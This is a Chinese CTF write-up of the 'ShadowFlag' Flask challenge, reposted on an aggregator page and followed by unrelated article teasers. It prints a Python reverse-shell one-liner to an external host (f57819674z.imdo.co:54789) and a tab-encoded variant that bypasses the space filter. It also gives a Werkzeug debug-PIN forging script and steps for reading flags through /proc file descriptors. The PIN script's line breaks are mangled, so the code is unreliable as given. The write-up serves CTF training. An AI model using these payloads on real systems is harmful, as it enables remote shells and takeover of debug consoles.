[NSSRound#7 Team]ShadowFlag

文章目录

  • 前置知识
    • /proc目录
    • python的反弹shell
    • pin码计算
  • 解题步骤


前置知识

/proc目录

Linux系统上的/proc目录是一种文件系统,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。/proc 目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件。

利用思路:当某些文件打开时并未close或者是flask在运行时,可以利用proc目录去查看某些文件,比如本题的flag1

python的反弹shell

payload

python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("f57819674z.imdo.co",54789));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

pin码计算

本题的flag2由于用的是with语法打开,所以会默认关闭文件,不像flag1可以查看。所以得计算pin码从flask的环境中去寻找flag2
脚本如下(详细过程可参考解题过程)

import hashlib
from itertools import chain
probably_public_bits = ['root'  'flask.app','Flask','/usr/local/lib/python3.10/site-packages/flask/app.py'
]private_bits = ['2485376927778',  '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

解题步骤

打开题目,源码如下

from flask import Flask, request
import os
from time import sleepapp = Flask(__name__)flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:flag2 = f.read()
tag = False@app.route("/")
def index():with open("app.py", "r+") as f:return f.read()@app.route("/shell", methods=['POST'])
def shell():global tagif tag != True:global flag1del flag1tag = Trueos.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")action = request.form["act"]if action.find(" ") != -1:return "Nonono"else:os.system(action)return "Wow"@app.errorhandler(404)
def error_date(error):sleep(5)return "扫扫扫,扫啥东方明珠呢[怒]"if __name__ == "__main__":app.run()

分析一下
定义了flag1为打开flag1的内容(注意打开后并没有close()),然后利用with语法打开flag2并且结束时关闭文件,把变量tag设置为False;看看/shell路由,首先如果tag为False,那么删除flag1和flag 2,然后接收参数act命令执行,其中过滤空格;然后是限制我们扫目录(猜测怕我们扫出来/console

flag1打开后并没有close,由于flask一直在运行,那么我们就可以在proc目录去寻找,但是这里命令执行是没有回显的,我们可以反弹shell

python3%09-c%09'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("f57819674z.imdo.co",54789));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

在这里插入图片描述成功反弹shell
在这里插入图片描述
我们在/proc/16/fd目录下找到flag1(一般在15-35)
在这里插入图片描述

第二部分我们要在flask环境变量里去找,也就是要算pin码访问./console
首先通过报错得到app.py的绝对路径
在这里插入图片描述

然后获取username
在这里插入图片描述

然后获取网卡地址

cat /sys/class/net/eth0/address

在这里插入图片描述
去掉冒号转十进制
在这里插入图片描述
-最后的系统id包括两部分,我们先读取/proc/sys/kernel/random/boot_id(有些题目是/proc/sys/kernel/random/boot_id

在这里插入图片描述

然后取/proc/self/cgroup并且只读取第一行,并以从右边算起的第一个/为分隔符

在这里插入图片描述修改脚本(前置知识处有)
访问./console,发现flag2读取不到
在这里插入图片描述
这是因为我们要在对应的环境下获取
所以我们访问./shell,POST传参(不为act即可)
然后找到对应的环境,点击右边的调试即可进入debug
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/179750.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

msvcp140_CODECVT_IDS.dll丢失怎么办,分享两个有效的方法

在计算机使用的过程中,我们经常会遇到一些错误提示,其中最常见的就是“缺少xxx.dll文件”。这些文件是动态链接库(DLL)文件,它们包含了程序运行所需的函数和资源。而msvcp140_CODECVT_IDS.dll就是其中之一。那么&#…

OpenAI:我们暂停了ChatGPT Plus新用户注册

今天中午,OpenAI 首席执行官 Sam Altman 在 X 平台发文说,将暂停 ChatGPT Plus 新用户注册。 we are pausing new ChatGPT Plus sign-ups for a bit > :( the surge in usage post devday has exceeded our c> apacity and we want to make sure e…

使用责任链模式实现登录风险控制

责任链模式 责任链模式是是设计模式中的一种行为型模式。该模式下,多个对象通过next属性进行关系关联,从而形成一个对象执行链表。当发起执行请求时,会从首个节点对象开始向后依次执行,如果一个对象不能处理该请求或者完成了请求…

联盟 | Quick Creator X HelpLook ,AI助力打造出海企业内容营销

随着人工智能的快速发展,各行各业也加快了人工智能工具的探索,积极将AI融入到行业发展中,出海外贸也不例外。AI渐渐地融入到外贸的各个环节,为企业出海提速增效。 为此,「 Quick Creator 」与 「 HelpLook 」达成战略合…

【Mycat2实战】二、Mycat安装部署

1. Mycat下载 Mycat官网下载地址,点击直接前往:http://www.mycat.org.cn/ Mycat 有提供编译好的安装包,支持 windows、Linux、Mac、 Solaris 等系统上安装与运行。 本文及后续系列的文章都是使用Linux的系统进行操作。 这里我们选择使用文…

华为云优惠券介绍、领取入口及使用教程

华为云是华为的云服务品牌,致力于为用户提供一站式云计算基础设施服务。为了吸引用户,华为云经常推出各种优惠活动,其中就包括优惠券的发放,下面将为大家详细介绍华为云优惠券的作用、领取入口以及使用教程。 一、华为云优惠券介绍…

代码随想录 Day46 动态规划14 LeetCode T392 判断子序列 T115 不同的子序列

LeetCode T392 判断子序列 题目链接:392. 判断子序列 - 力扣(LeetCode) 题目思路: 本题有两种思路,第一个思路是使用双指针,第二个思路是使用动态规划,结尾笔者会附上两种方法的代码. 1.双指针 首先我们谈双指针的思路,就是让两个指针分别指向s和t字符…

es安装方式

es安装方式 1.下载镜像的方式 分词器 kibana和es和容器互通的方式 docker network create es-net开始拉去镜像的方式 docker pull kibana:7.12.1运行镜像的方式 docker run -d \--name es \-e "ES_JAVA_OPTS-Xms512m -Xmx512m" \-e "discovery.typesingle-…

时间序列预测各类算法探究上篇

前言: 最近项目需要对公司未来业绩进行预测,以便优化决策,so 研究一下时序算法。纯个人理解,记录以便备用(只探究一下原理,所有算法都使用基本状态,并未进行特征及参数优化)。 环境…

2023年【道路运输企业安全生产管理人员】证考试及道路运输企业安全生产管理人员模拟考试题

题库来源:安全生产模拟考试一点通公众号小程序 2023年道路运输企业安全生产管理人员证考试为正在备考道路运输企业安全生产管理人员操作证的学员准备的理论考试专题,每个月更新的道路运输企业安全生产管理人员模拟考试题祝您顺利通过道路运输企业安全生…

【数据结构】直接插入排序

👦个人主页:Weraphael ✍🏻作者简介:目前正在学习c和算法 ✈️专栏:数据结构 🐋 希望大家多多支持,咱一起进步!😁 如果文章有啥瑕疵 希望大佬指点一二 如果文章对你有帮助…

纳米软件分享:电源芯片测试指标与测试注意事项

电源芯片测试旨在检测电源管理芯片的质量和性能,保证其可以长期稳定工作。电源芯片测试的参数主要有输入/输出电压、输出电流、效率、温度、功耗等。本文将对电源芯片测试参数以及测试注意事项进行介绍。 电源管理芯片的测试参数 1. 输入电压范围 指电源芯片正常工作…